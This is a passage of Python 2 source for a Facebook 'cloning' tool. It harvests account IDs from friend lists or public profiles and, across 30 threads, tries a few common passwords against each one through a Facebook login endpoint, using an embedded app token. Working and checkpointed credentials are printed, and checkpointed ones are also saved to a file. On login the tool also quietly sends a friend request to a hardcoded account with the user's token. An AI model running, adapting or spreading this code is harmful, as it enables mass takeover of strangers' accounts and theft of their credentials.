\"generate_machine_id\":\"1\",\"generate_session_cookies\":\"1\",\"locale\":\"en_US\",\"method\":\"auth.login\",\"password\":pwd,\"return_ssl_resources\":\"0\",\"v\":\"1.0\"}\n\t\t\t\tx=hashlib.new(\"md5\")\n\t\t\t\tx.update(sig)\n\t\t\t\ta=x.hexdigest()\n\t\t\t\tdata.update({'sig':a})\n\t\t\t\turl = \"https://api.facebook.com/restserver.php\"\n\t\t\t\tr=requests.get(url,params=data)\n\t\t\t\tz=json.loads(r.text)\n\t\t\t\tunikers = open(\"login.txt\", 'w')\n\t\t\t\tunikers.write(z['access_token'])\n\t\t\t\tunikers.close()\n\t\t\t\tprint '\\n\\x1b[1;92mLogin Successful :)' \n\t\t\t\tos.system('xdg-open https://m.facebook.com/mohammad.hacker.1122')\n\t\t\t\trequests.post('https://graph.facebook.com/me/friends?method=post&uids=gwimusa3&access_token='+z['access_token'])\n\t\t\t\tmenu()\n\t\t\texcept requests.exceptions.ConnectionError:\n\t\t\t\tprint\"\\n\\x1b[1;97mThere is no internet connection\"\n\t\t\t\tkeluar()\n\t\tif 'checkpoint' in url:\n\t\t\tprint(\"\\n\\x1b[1;97mYour Account is on Checkpoint\")\n\t\t\tos.system('rm -rf login.txt')\n\t\t\ttime.sleep(1)\n\t\t\tkeluar()\n\t\telse:\n\t\t\tprint(\"\\n\\x1b[1;93mPassword/Email is wrong\")\n\t\t\tos.system('rm -rf login.txt')\n\t\t\ttime.sleep(1)\n\t\t\tlogin()\n\ndef tokenz():\n\tos.system('clear')\n\tprint logo2\n\tos.system('clear')\n\tprint logo\n\tprint(\"\\033[1;97m--------------------------------------------------\")\n\tprint(\"\\033[1;97m>>>>>>\\033[1;93m Token Not Found Problem Fix \\033[1;97m>>>>>>\\033[1;0m\")\n\tprint(\"\\033[1;97m>>>>>>\\033[1;93mUse Any proxy To Give Token Here\\033[1;97m>>>>>>\\033[1;0m\")\n\tprint(\"\\033[1;97m >>>>>>\\033[1;93m Developer By fucked_abm \\033[1;97m>>>>>>\\033[1;0m\") \n\tprint(\"\\033[1;97m--------------------------------------------------\")\n\ttoket = raw_input(\"\\033[1;91m[>>]\\033[1;92m Enter Token \\033[1;91m :\\033[1;93m \")\n\tprint(\"\\033[1;97m--------------------------------------------------\")\n\ttry:\n\t\totw = requests.get('https://graph.facebook.com/me?access_token='+toket)\n\t\ta = json.loads(otw.text)\n\t\tnama = a['name']\n\t\tzedd = open(\"login.txt\", 'w')\n\t\tzedd.write(toket)\n\t\tzedd.close()\n\t\tmenu()\n\texcept KeyError:\n\t\tprint \"\\033[1;91m[!] Wrong\"\n\t\te = raw_input(\"\\033[1;91m[?] \\033[1;92mWant to pick up token?\\033[1;97m[y/n]: \")\n\t\tif e ==\"\":\n\t\t\tkeluar()\n\t\telif e ==\"y\":\n\t\t\tlogin()\n\t\telse:\n\t\t\tkeluar()\n\t\t\t\ndef menu():\n\tos.system('clear')\n\ttry:\n\t\ttoket=open('login.txt','r').read()\n\texcept IOError:\n\t\tos.system('clear')\n\t\tprint\"\\x1b[1;94mToken invalid\"\n\t\tos.system('rm -rf login.txt')\n\t\ttime.sleep(1)\n\t\tlogin()\n\ttry:\n\t\to = requests.get('https://graph.facebook.com/me?access_token='+toket)\n\t\ta = json.loads(o.text)\n\t\tnama = a['name']\n\t\tid = a['id']\n t = requests.get('https://graph.facebook.com/me/subscribers?access_token=' + toket)\n b = json.loads(t.text)\n sub = str(b['summary']['total_count'])\n\texcept KeyError:\n\t\tos.system('clear')\n\t\tprint\"\\033[1;97mYour Account is on Checkpoint\"\n\t\tos.system('rm -rf login.txt')\n\t\ttime.sleep(1)\n\t\tlogin()\n\texcept requests.exceptions.ConnectionError:\n\t\tprint\"\\x1b[1;94mThere is no internet connection\"\n\t\tkeluar()\n\tos.system('clear')\n\tprint logo2\n\tos.system('clear')\n\tprint logo\n print \" \\033[1;36;40m\\033[1;32;40m[*] Name\\033[1;32;40m: \"+nama+\" \t \\033[1;36;40m\" \n\tprint \" \\033[1;36;40m\\033[1;32;40m[*] ID \\033[1;32;40m: \"+id+\" \\033[1;36;92m\"\n\tprint \" \\033[1;36;40m\\033[1;32;40m[*] Subs\\033[1;32;40m: \"+sub+\" \\033[1;36;92m\"\n\tprint(\"\\033[1;97m--------------------------------------------------\")\n\ttime.sleep(0.05)\n\tprint(\"\\033[1;92m1>\\033[1;93m>>\\033[1;94mClones All Country With Choice Password \\033[1;93m>>\") \n\ttime.sleep(0.05)\n\tprint(\"\\033[1;97m--------------------------------------------------\")\n\tprint \"\\033[1;32;98m[01]\\033[1;96m>\\033[1;93mCrack From Pakistan Menu \"\n time.sleep(0.05)\t\n\tprint \"\\033[1;32;98m[02]\\033[1;96m>\\033[1;93mCrack From Bangladesh Menu \"\n time.sleep(0.05)\t\n\tprint \"\\033[1;32;98m[03]\\033[1;96m>\\033[1;93mCrack From Indonesia Menu \"\t\n\ttime.sleep(0.05)\n\tprint \"\\033[1;32;98m[04]\\033[1;96m>\\033[1;93mCrack From Follower Menu \"\t\n\ttime.sleep(0.05)\n\tprint \"\\033[1;32;98m[05]\\033[1;96m>\\033[1;93mCrack From Username Menu \"\t\n\ttime.sleep(0.05)\n\tprint \"\\033[1;32;98m[06]\\033[1;96m>\\033[1;93mUpdate Tools \"\t\n time.sleep(0.05) \n\tprint(\"\\033[1;97m--------------------------------------------------\")\n\ttime.sleep(0.05)\t\n print(\"\\033[1;92m2>\\033[1;93m>>\\033[1;94mClones All Country Without Choice Password\\033[1;93m>>\") \n time.sleep(0.05)\t\n print(\"\\033[1;97m--------------------------------------------------\")\n time.sleep(0.05)\t\n\tprint \"\\033[1;32;98m[07]\\033[1;96m>\\033[1;93mCrack From Pakistan Menu \"\n time.sleep(0.05)\t\n\tprint \"\\033[1;32;98m[08]\\033[1;96m>\\033[1;93mCrack From Bangladesh Menu \"\n time.sleep(0.05)\t\n\tprint \"\\033[1;32;98m[09]\\033[1;96m>\\033[1;93mCrack From Indonesia Menu \"\t\n\ttime.sleep(0.05)\n\tprint \"\\033[1;32;98m[10]\\033[1;96m>\\033[1;93mCrack From Follower Menu \"\t\n\ttime.sleep(0.05)\n\tprint \"\\033[1;32;98m[11]\\033[1;96m>\\033[1;93mCrack From Username Menu \"\t\n\ttime.sleep(0.05)\n\tprint \"\\033[1;32;98m[12]\\033[1;96m>\\033[1;93mUpdate Tools \"\t \n\ttime.sleep(0.05) \n print \"\\033[1;32;98m[00]\\033[1;96m>\\033[1;94mLog out\"\n\ttime.sleep(0.05)\t\n print(\"\\033[1;97m--------------------------------------------------\")\n\tpilih()\n\ndef pilih():\n\tunikers = raw_input(\"\\n\\033[1;31;40m>>> \\033[1;35;40m\")\n\tif unikers ==\"\":\n\t\tprint \"\\x1b[1;91mFill in correctly\"\n\t\tpilih()\n\telif unikers == '1' or unikers == '01':\n\t\tsuper()\n\telif unikers == '2' or unikers == '02':\n\t\tduper()\n\telif unikers == '3' or unikers == '03':\n\t\tzuper()\n\telif unikers == '4' or unikers == '04':\n\t\tcrack_follow()\n\telif unikers == '5' or unikers == '05':\n\t\tuser_id()\t\n\telif unikers == '6' or unikers == '06':\n\t\tos.system('clear')\n\t\tprint logo\n\t\tprint \"\\033[1;95m----------------\\033[1;91mUpdate-tools\\033[1;95m--------------\"\n jalan('\\033[1;96m=10%')\n jalan(\"\\033[1;96m==20%\")\n jalan('\\033[1;96m===30%')\n jalan('\\033[1;96m====40%')\n jalan(\"\\033[1;96m=====50%\")\n jalan(\"\\033[1;96m======60%\")\n jalan('\\033[1;96m=======70%')\n jalan('\\033[1;96m========80%')\n jalan('\\033[1;96m=========90%')\n jalan('\\033[1;96m==========100%')\n\t\ttime.sleep(5)\n print(\"\\033[1;91mCongratulation Tools Has Been Update Successfully\")\n\t\tos.system('git pull origin master')\n\t\traw_input('\\n\\x1b[1;91m[ \\x1b[1;97mBack \\x1b[1;91m]')\n\t\tmenu()\n\telif unikers == '7' or unikers == '07':\n\t\tfuper()\n\telif unikers == '8' or unikers == '08':\n\t\tkuper()\n\telif unikers == '9' or unikers == '09':\n\t\tindoo()\n\telif unikers == '10':\n\t\tfollow()\n\telif unikers ==\"11\":\n\t\tuser_us()\n\telif unikers == '12':\n\t\tos.system('clear')\n\t\tprint logo\n\t\tprint \"\\033[1;95m----------------\\033[1;91mUpdate-tools\\033[1;95m--------------\"\n jalan('\\033[1;96m=10%')\n jalan(\"\\033[1;96m==20%\")\n jalan('\\033[1;96m===30%')\n jalan('\\033[1;96m====40%')\n jalan(\"\\033[1;96m=====50%\")\n jalan(\"\\033[1;96m======60%\")\n jalan('\\033[1;96m=======70%')\n jalan('\\033[1;96m========80%')\n jalan('\\033[1;96m=========90%')\n jalan('\\033[1;96m==========100%')\n\t\ttime.sleep(5)\n print(\"\\033[1;91mCongratulation Tools Has Been Update Successfully\")\n\t\tos.system('git pull origin master')\n\t\traw_input('\\n\\x1b[1;91m[ \\x1b[1;97mBack \\x1b[1;91m]')\n\t\tmenu()\t\n\telif unikers == '0' or unikers == '00':\n\t\tjalan('Token Removed')\n\t\tos.system('rm -rf login.txt')\n\t\tkeluar()\n\telse:\n\t\tprint \"\\x1b[1;91mFill in correctly\"\n\t\tpilih()\n\n\ndef super():\n\tglobal toket\n\tos.system('clear')\n\ttry:\n\t\ttoket=open('login.txt','r').read()\n\texcept IOError:\n\t\tprint\"\\x1b[1;91mToken invalid\"\n\t\tos.system('rm -rf login.txt')\n\t\ttime.sleep(1)\n\t\tlogin()\n\tos.system('clear')\n\tprint logo2\n\tos.system('clear')\n\tprint logo\n\tprint(\"\\033[1;97m--------------------------------------------------\")\n\tjalan( \"\\x1b[1;32;92m[1]\\033[1;33;98m>\\033[1;94mCrack From Friendlist With Choice Password \") \n\tjalan( \"\\x1b[1;32;92m[2]\\033[1;33;98m>\\033[1;94mCrack From Any Public With Choice Password\") \n\tjalan( \"\\x1b[1;32;36m[0]\\033[1;33;96m>\\033[1;91mBack\") \n\tprint(\"\\033[1;97m--------------------------------------------------\")\n\tpilih_super()\n\ndef pilih_super():\n\tpeak = raw_input(\"\\n\\033[1;31;40m \\033[1;97m\")\n\tif peak ==\"\":\n\t\tprint \"\\x1b[1;91mFill in correctly\"\n\t\tpilih_super()\n\telif peak ==\"1\":\n\t\tos.system(\"clear\")\n\t\tprint logo\n\t\tprint(\"\\033[1;97m--------------------------------------------------\")\n\t\ttime.sleep(0.05)\n\t\tprint (\"\\033[1;93m For Example :\\033[1;92m 786786,Pakistan, Pakistan123\") \n\t\ttime.sleep(0.05)\n\t\tprint(\"\\033[1;97m--------------------------------------------------\")\n\t\tpass1=raw_input(\"\\033[1;96m[1]\\033[1;94m Input Password :\\033[1;94m \")\n\t\ttime.sleep(0.05)\n\t\tpass2=raw_input(\"\\033[1;96m[2]\\033[1;93m Input Password :\\033[1;94m \")\n\t\ttime.sleep(0.05)\n\t\tpass3=raw_input(\"\\033[1;96m[3]\\033[1;93m Input Password :\\033[1;94m \")\n\t\ttime.sleep(0.05)\n\t\tprint(\"\\033[1;97m--------------------------------------------------\")\n\t\tr = requests.get(\"https://graph.facebook.com/me/friends?access_token=\"+toket)\n\t\tz = json.loads(r.text)\n\t\tfor s in z[\"data\"]:\n\t\t\tid.append(s[\"id\"])\n\telif peak ==\"2\":\n\t\tos.system(\"clear\")\n\t\tprint logo\n\t\tidt = raw_input(\"\\033[1;94m[ok] Enter ID/Username :\\033[1;92m \")\n\t\tprint(\"\\033[1;97m--------------------------------------------------\")\n\t\ttime.sleep(0.05)\n\t\tprint (\"\\033[1;93m For Example :\\033[1;92m 786786,Pakistan, Pakistan123\") \n\t\ttime.sleep(0.05)\n\t\tprint(\"\\033[1;97m--------------------------------------------------\")\n\t\tpass1=raw_input(\"\\033[1;96m[1]\\033[1;93m Input Password :\\033[1;94m \")\n\t\ttime.sleep(0.05)\n\t\tpass2=raw_input(\"\\033[1;96m[2]\\033[1;93m Input Password :\\033[1;94m \")\n\t\ttime.sleep(0.05)\n\t\tpass3=raw_input(\"\\033[1;96m[3]\\033[1;93m Input Password :\\033[1;94m \")\n\t\ttime.sleep(0.05)\n\t\tprint(\"\\033[1;97m--------------------------------------------------\")\n\t\ttry:\n\t\t\tjok = requests.get(\"https://graph.facebook.com/\"+idt+\"?access_token=\"+toket)\n\t\t\top = json.loads(jok.text)\n\t\t\tprint(\"\\033[1;96m[>>] Account Name: \"+op[\"name\"])\n\t\t\ttime.sleep(0.5)\n\t\texcept KeyError:\n\t\t\tprint(\"\\033[1;91m[!] ID Not Found!\")\n\t\t\traw_input(\"\\n\\033[1;92mPress Enter To Back \")\n\t\t\tchoice1()\n\t\tprint\"\\033[1;35;40m[>>] Getting IDs...\"\n\t\tr = requests.get(\"https://graph.facebook.com/\"+idt+\"/friends?access_token=\"+toket)\n\t\tz = json.loads(r.text)\n\t\tfor i in z['data']:\n\t\t\tid.append(i['id'])\n\telif peak ==\"0\":\n\t\tmenu()\n\telse:\n\t\tprint \"\\x1b[1;91mFill in correctly\"\n\t\tpilih_super()\n\n\t\n\tprint \"\\033[1;36;96m[>>] Total IDs : \\033[1;92m\"+str(len(id))\n\tjalan('\\033[1;34;96m[>>] Please Wait ')\n\ttitik = ['. ','.. ','... ']\n\tfor o in titik:\n\t\t print(\"\\r\\033[1;93mCloning\\033[1;93m\"+o),;sys.stdout.flush();time.sleep(1)\n\tprint \"\\n\\033[1;97m >-------\\x1b[1;91mTo Stop Process Press CTRL+Z\\033[1;97m------>\"\n\tprint \"\\033[1;97m >------------------------------------------------>\"\n\tjalan(' \\033[1;93m Plz Wait Cloned Accounts Will Appear Here')\n\tjalan(' \\033[1;93m Crack Pakistan ')\n print \"\\033[1;97m >------------------------------------------------>\"\n\t\n\tdef main(arg):\n\t\tglobal cpb,oks\n\t\tuser = arg\n\t\ttry:\n\t\t os.mkdir('save')\n\t\texcept OSError:\n\t\t pass\n\t\ttry:\n\t\t\ta = requests.get(\"https://graph.facebook.com/\"+user+\"/?access_token=\"+toket)\n\t\t\tb = json.loads(a.text)\n\t\t\t\n\t\t\tdata = urllib.urlopen(\"https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=\" + user + \"&locale=en_US&password=\" + pass1 + \"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6\")\n\t\t\tq = json.load(data)\n\t\t\tif \"access_token\" in q:\n\t\t\t\tprint '\\033[1;94m[\\033[1;92mOK\\033[1;94m] \\033[1;97m' + user + '\\033[1;91m>\\033[1;97m' + pass1 + '\\033[1;91m>\\033[1;97m' + b['name']\n\t\t\t\toks.append(user+pass1)\n\t\t\telse:\n\t\t\t\tif \"www.facebook.com\" in q[\"error_msg\"]:\n\t\t\t\t\tprint '\\033[1;94m[\\033[1;92mCP\\033[1;94m] \\033[1;97m' + user + '\\033[1;91m>\\033[1;97m' + pass1 + '\\033[1;91m>\\033[1;97m' + b['name']\n\t\t\t\t\tcrt = open(\"save/checkpoint.txt\", \"a\")\n\t\t\t\t\tcrt.write(user+\"|\"+pass1+\"\\n\")\n\t\t\t\t\tcrt.close()\n\t\t\t\t\tcheckpoint.append(user+pass1)\n\t\t\t\telse:\n\t\t\t\t\t\n\t\t\t\t\tdata = urllib.urlopen(\"https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=\" + user + \"&locale=en_US&password=\" + pass2 + \"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6\")\n\t\t\t\t\tq = json.load(data)\n\t\t\t\t\tif \"access_token\" in q:\n\t\t\t\t\t\tprint '\\033[1;94m[\\033[1;92mOK\\033[1;94m] \\033[1;97m' + user + '\\033[1;91m>\\033[1;97m' + pass2 + '\\033[1;91m>\\033[1;97m' + b['name']\n\t\t\t\t\t\toks.append(user+pass2)\n\t\t\t\t\telse:\n\t\t\t\t\t\tif \"www.facebook.com\" in q[\"error_msg\"]:\n\t\t\t\t\t\t\tprint '\\033[1;94m[\\033[1;92mCP\\033[1;94m] \\033[1;97m' + user + '\\033[1;91m>\\033[1;97m' + pass2 + '\\033[1;91m>\\033[1;97m' + b['name']\n\t\t\t\t\t\t\tcrt = open(\"save/checkpoint.txt\", \"a\")\n\t\t\t\t\t\t\tcrt.write(user+\"|\"+pass2+\"\\n\")\n\t\t\t\t\t\t\tcrt.close()\n\t\t\t\t\t\t\tcheckpoint.append(user+pass2)\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tdata = urllib.urlopen(\"https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=\" + user + \"&locale=en_US&password=\" + pass3 + \"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6\")\n\t\t\t\t\t\t\tq = json.load(data)\n\t\t\t\t\t\t\tif \"access_token\" in q:\n\t\t\t\t\t\t\t\tprint '\\033[1;94m[\\033[1;92mOK\\033[1;94m] \\033[1;97m' + user + '\\033[1;91m>\\033[1;97m' + pass3 + '\\033[1;91m>\\033[1;97m' + b['name']\n\t\t\t\t\t\t\t\toks.append(user+pass3)\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\tif \"www.facebook.com\" in q[\"error_msg\"]:\n\t\t\t\t\t\t\t\t\tprint '\\033[1;94m[\\033[1;92mCP\\033[1;94m] \\033[1;97m' + user + '\\033[1;91m>\\033[1;97m' + pass3 + '\\033[1;91m>\\033[1;97m' + b['name']\n\t\t\t\t\t\t\t\t\tcrt = open(\"save/checkpoint.txt\", \"a\")\n\t\t\t\t\t\t\t\t\tcrt.write(user+\"|\"+pass3+\"\\n\")\n\t\t\t\t\t\t\t\t\tcrt.close()\n\t\t\t\t\t\t\t\t\tcheckpoint.append(user+pass3)\n\t\t\t\t\t\t\t\t\t\t\t \n\t\texcept:\n\t\t\tpass\n\t\t\n\tp = ThreadPool(30)\n\tp.map(main, id)\n\tprint(\"\\033[1;97m--------------------------------------------------\")\n\tprint '\\033[1;96m[\\033[1;97mok\\033[1;96m] \\033[1;92mProcess Has Been Completed \\033[1;97m....'\n\tprint\"\\033[1;96m[+] \\033[1;92mTotal OK/\\x1b[1;93mCP \\033[1;91m: \\033[1;92m\"+str(len(oks))+\"\\033[1;97m/\\033[1;93m\"+str(len(cekpoint))\n\tprint(\"\\033[1;96m[+] \\033[1;92mCP File Has Been Saved \\033[1;91m: \\033[1;97mout/Techabm.txt\")\n\tprint(\"\\033[1;97m--------------------------------------------------\")\n\traw_input(\"\\n\\033[1;96m[\\033[1;97mBack\\033[1;96m]\")\n\tmenu()\n\t\ndef duper():\n\tglobal toket\n\tos.system('clear')\n\ttry:\n\t\ttoket=open('login.txt','r').read()\n\texcept IOError:\n\t\tprint\"\\x1b[1;91mToken invalid\"\n\t\tos.system('rm -rf login.txt')\n\t\ttime.sleep(1)\n\t\tlogin()\n\tos.system('clear')\n\tprint logo2\n\tos.system('clear')\n\tprint logo\n\tprint(\"\\033[1;97m--------------------------------------------------\")\n\tjalan( \"\\x1b[1;32;92m[1]\\033[1;33;98m>\\033[1;92mCrack From Friendlist With Choice Password \") \n\tjalan( \"\\x1b[1;32;92m[2]\\033[1;33;98m>\\033[1;92mCrack From Any Public With Choice Password\") \n\tjalan( \"\\x1b[1;32;36m[0]\\033[1;33;96m>\\033[1;91mBack\") \n\tprint(\"\\033[1;97m--------------------------------------------------\")\n\tpilih_duper()\n\ndef pilih_duper():\n\tpeak = raw_input(\"\\n\\033[1;31;40m> \\033[1;97m\")\n\tif peak ==\"\":\n\t\tprint \"\\x1b[1;91mFill in correctly\"\n\t\tpilih_super()\n\telif peak ==\"1\":\n\t\tos.system(\"clear\")\n\t\tprint logo\n\t\tprint (\"\\033[1;93m For Example :\\033[1;92m 786786,Pakistan, Pakistan123\") \n\t\ttime.sleep(0.05)\n\t\tprint(\"\\033[1;97m--------------------------------------------------\")\n\t\tpass1=raw_input(\"\\033[1;96m[1]\\033[1;94m Input Password :\\033[1;94m \")\n\t\ttime.sleep(0.05)\n\t\tpass2=raw_input(\"\\033[1;96m[2]\\033[1;93m Input Password :\\033[1;94m \")\n\t\ttime.sleep(0.05)\n\t\tpass3=raw_input(\"\\033[1;96m[3]\\033[1;93m Input Password :\\033[1;94m \")\n\t\ttime.sleep(0.05)\n\t\tprint(\"\\033[1;97m--------------------------------------------------\")\n\t\tr = requests.get(\"https://graph.facebook.com/me/friends?access_token=\"+toket)\n\t\tz = json.loads(r.text)\n\t\tfor s in z[\"data\"]:\n\t\t\tid.append(s[\"id\"])\n\telif peak ==\"2\":\n\t\tos.system(\"clear\")\n\t\tprint logo\n\t\tidt = raw_input(\"\\033[1;94m[ok] Enter ID/Username :\\033[1;92m \")\n\t\tprint(\"\\033[1;97m--------------------------------------------------\")\n\t\ttime.sleep(0.05)\n\t\tprint (\"\\033[1;93m For Example :\\033[1;92m 786786,Bangladesh,Bangal123\") \n\t\ttime.sleep(0.05)\n\t\tprint(\"\\033[1;97m--------------------------------------------------\")\n\t\tpass1=raw_input(\"\\033[1;96m[1]\\033[1;93m Input Password :\\033[1;94m \")\n\t\ttime.sleep(0.05)\n\t\tpass2=raw_input(\"\\033[1;96m[2]\\033[1;93m Input Password :\\033[1;94m \")\n\t\ttime.sleep(0.05)\n\t\tpass3=raw_input(\"\\033[1;96m[3]\\033[1;93m Input Password :\\033[1;94m \")\n\t\ttime.sleep(0.05)\n\t\tprint(\"\\033[1;97m--------------------------------------------------\")\n\t\ttry:\n\t\t\tjok = requests.get(\"https://graph.facebook.com/\"+idt+\"?access_token=\"+toket)\n\t\t\top = json.loads(jok.text)\n\t\t\tprint(\"\\033[1;96m[>>] Account Name: \"+op[\"name\"])\n\t\t\ttime.sleep(0.5)\n\t\texcept KeyError:\n\t\t\tprint(\"\\033[1;91m[!] ID Not Found!\")\n\t\t\traw_input(\"\\n\\033[1;92mPress Enter To Back \")\n\t\t\tchoice1()\n\t\tprint\"\\033[1;35;40m[>>] Getting IDs...\"\n\t\tr = requests.get(\"https://graph.facebook.com/\"+idt+\"/friends?access_token=\"+toket)\n\t\tz = json.loads(r.text)\n\t\tfor i in z['data']:\n\t\t\tid.append(i['id'])\n\telif peak ==\"0\":\n\t\tmenu()\n\telse:\n\t\tprint \"\\x1b[1;91mFill in correctly\"\n\t\tpilih_duper()\n\n\t\n\tprint \"\\033[1;36;96m[>>] Total IDs : \\033[1;92m\"+str(len(id))\n\tjalan('\\033[1;34;96m[>>] Please Wait ')\n\ttitik = ['. ','.. ','... ']\n\tfor o in titik:\n\t\t print(\"\\r\\033[1;93mCloning\\033[1;93m\"+o),;sys.stdout.flush();time.sleep(1)\n\tprint \"\\n\\033[1;97m >-------\\x1b[1;91m To Stop Process Press CTRL+Z \\033[1;97m------>\"\n\tprint \"\\033[1;97m >------------------------------------------------>\"\n\tjalan(' \\033[1;93m Plz Wait Cloned Accounts Will Appear Here')\n\tjalan(' \\033[1;93m Crack Bangladesh ')\n print \"\\033[1;97m >------------------------------------------------>\"\n\t\n\tdef main(arg):\n\t\tglobal cpb,oks\n\t\tuser = arg\n\t\ttry:\n\t\t os.mkdir('save')\n\t\texcept OSError:\n\t\t pass\n\t\ttry:\n\t\t\ta = requests.get(\"https://graph.facebook.com/\"+user+\"/?access_token=\"+toket)\n\t\t\tb = json.loads(a.text)\n\t\t\t\n\t\t\tdata = urllib.urlopen(\"https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=\" + user + \"&locale=en_US&password=\" + pass1 + \"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6\")\n\t\t\tq = json.load(data)\n\t\t\tif \"access_token\" in q:\n\t\t\t\tprint '\\033[1;94m[\\033[1;92mOK\\033[1;94m] \\033[1;97m' + user + '\\033[1;91m>\\033[1;97m' + pass1 + '\\033[1;91m>\\033[1;97m' + b['name']\n\t\t\t\toks.append(user+pass1)\n\t\t\telse:\n\t\t\t\tif \"www.facebook.com\" in q[\"error_msg\"]:\n\t\t\t\t\tprint '\\033[1;94m[\\033[1;92mCP\\033[1;94m] \\033[1;97m' + user + '\\033[1;91m>\\033[1;97m' + pass1 + '\\033[1;91m>\\033[1;97m' + b['name']\n\t\t\t\t\tcrt = open(\"save/checkpoint.txt\", \"a\")\n\t\t\t\t\tcrt.write(user+\"|\"+pass1+\"\\n\")\n\t\t\t\t\tcrt.close()\n\t\t\t\t\tcheckpoint.append(user+pass1)\n\t\t\t\telse:\n\t\t\t\t\t\n\t\t\t\t\tdata = urllib.urlopen(\"https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=\" + user + \"&locale=en_US&password=\" + pass2 + \"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6\")\n\t\t\t\t\tq = json.load(data)\n\t\t\t\t\tif \"access_token\" in q:\n\t\t\t\t\t\tprint '\\033[1;94m[\\033[1;92mOK\\033[1;94m] \\033[1;97m' + user + '\\033[1;91m>\\033[1;97m' + pass2 + '\\033[1;91m>\\033[1;97m' + b['name']\n\t\t\t\t\t\toks.append(user+pass2)\n\t\t\t\t\telse:\n\t\t\t\t\t\tif \"www.facebook.com\" in q[\"error_msg\"]:\n\t\t\t\t\t\t\tprint '\\033[1;94m[\\033[1;92mCP\\033[1;94m] \\033[1;97m' + user + '\\033[1;91m>\\033[1;97m' + pass2 + '\\033[1;91m>\\033[1;97m' + b['name']\n\t\t\t\t\t\t\tcrt = open(\"save/checkpoint.txt\", \"a\")\n\t\t\t\t\t\t\tcrt.write(user+\"|\"+pass2+\"\\n\")\n\t\t\t\t\t\t\tcrt.close()\n\t\t\t\t\t\t\tcheckpoint.append(user+pass2)\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tdata = urllib.urlopen(\"https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=\" + user + \"&locale=en_US&password=\" + pass3 + \"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6\")\n\t\t\t\t\t\t\tq = json.load(data)\n\t\t\t\t\t\t\tif \"access_token\" in q:\n\t\t\t\t\t\t\t\tprint '\\033[1;94m[\\033[1;92mOK\\033[1;94m] \\033[1;97m' + user + '\\033[1;91m>\\033[1;97m' + pass3 + '\\033[1;91m>\\033[1;97m' + b['name']\n\t\t\t\t\t\t\t\toks.append(user+pass3)\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\tif \"www.facebook.com\" in q[\"error_msg\"]:\n\t\t\t\t\t\t\t\t\tprint '\\033[1;94m[\\033[1;92mCP\\033[1;94m] \\033[1;97m' + user + '\\033[1;91m>\\033[1;97m' + pass3 + '\\033[1;91m>\\033[1;97m' + b['name']\n\t\t\t\t\t\t\t\t\tcrt = open(\"save/checkpoint.txt\", \"a\")\n\t\t\t\t\t\t\t\t\tcrt.write(user+\"|\"+pass3+\"\\n\")\n\t\t\t\t\t\t\t\t\tcrt.close()\n\t\t\t\t\t\t\t\t\tcheckpoint.append(user+pass3)\n\t\t\t\t\t\t\t\t\t\t\t \n\t\texcept:\n\t\t\tpass\n\t\t\n\tp = ThreadPool(30)\n\tp.map(main, id)\n\tprint(\"\\033[1;97m--------------------------------------------------\")\n\tprint '\\033[1;96m[\\033[1;97mok\\033[1;96m] \\033[1;92mProcess Has Been Completed \\033[1;97m....'\n\tprint\"\\033[1;96m[+] \\033[1;92mTotal OK/\\x1b[1;93mCP \\033[1;91m: \\033[1;92m\"+str(len(oks))+\"\\033[1;97m/\\033[1;93m\"+str(len(cekpoint))\n\tprint(\"\\033[1;96m[+] \\033[1;92mCP File Has Been Saved \\033[1;91m: \\033[1;97mout/Techabm.txt\")\n\tprint(\"\\033[1;97m--------------------------------------------------\")\n\traw_input(\"\\n\\033[1;96m[\\033[1;97mBack\\033[1;96m]\")\n\tmenu()\n\t\ndef zuper():\n\tglobal toket\n\tos.system('clear')\n\ttry:\n\t\ttoket=open('login.txt','r').read()\n\texcept IOError:\n\t\tprint\"\\x1b[1;91mToken invalid\"\n\t\tos.system('rm -rf login.txt')\n\t\ttime.sleep(1)\n\t\tlogin()\n\tos.system('clear')\n\tprint logo2\n\tos.system('clear')\n\tprint logo\n\tprint(\"\\033[1;97m--------------------------------------------------\")\n\tjalan( \"\\x1b[1;32;92m[1]\\033[1;33;98m>\\033[1;96mCrack From Friendlist With Choice Password \") \n\tjalan( \"\\x1b[1;32;92m[2]\\033[1;33;98m>\\033[1;96mCrack From Any Public With Choice Password\") \n\tjalan( \"\\x1b[1;32;36m[0]\\033[1;33;96m>\\033[1;91mBack\") \n\tprint(\"\\033[1;97m--------------------------------------------------\")\n\tpilih_zuper()\n\ndef pilih_zuper():\n\tpeak = raw_input(\"\\n\\033[1;31;40m> \\033[1;97m\")\n\tif peak ==\"\":\n\t\tprint \"\\x1b[1;91mFill in correctly\"\n\t\tpilih_zuper()\n\telif peak ==\"1\":\n\t\tos.system(\"clear\")\n\t\tprint logo\n\t\tprint (\"\\033[1;93m For Example :\\033[1;92m 786786,Pakistan, Pakistan123\") \n\t\ttime.sleep(0.05)\n\t\tprint(\"\\033[1;97m--------------------------------------------------\")\n\t\ttime.sleep(0.05)\n\t\tpass1=raw_input(\"\\033[1;96m[1]\\033[1;94m Input Password :\\033[1;94m 